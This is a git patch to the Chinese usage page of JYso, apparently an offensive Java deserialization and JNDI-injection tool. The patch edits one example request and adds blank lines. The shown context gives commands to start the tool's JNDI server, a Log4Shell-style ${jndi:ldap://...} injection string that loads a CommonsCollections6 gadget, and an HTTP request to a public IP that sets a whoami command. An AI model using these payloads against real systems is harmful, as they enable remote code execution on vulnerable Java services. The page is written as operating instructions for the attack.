From c04f715a9c3987f7bb07b154d2ba61cb94a4c740 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com>
Date: Wed, 2 Aug 2023 14:48:44 +0800
Subject: [PATCH] =?UTF-8?q?Updated=20JYso=E2=80=90CN=20(markdown)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 JYso‐CN.md | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/JYso‐CN.md b/JYso‐CN.md
index 2258de0..cb6023d 100644
--- a/JYso‐CN.md
+++ b/JYso‐CN.md
@@ -30,6 +30,8 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1
 java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456"
 ```
 
+
+
 + 对于BCEL这种超长请求，可以从http处取参，来减少请求长度
 
 先发http请求参数，在发jndi payload
@@ -37,7 +39,7 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456"
 ${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp}
 ```
 ```shell
-http://111.229.10.212:3456/setPathAlias?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p
+http://111.229.10.212:3456/setPathAlias?a=whoami
 ```
 
 ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230705100008.png)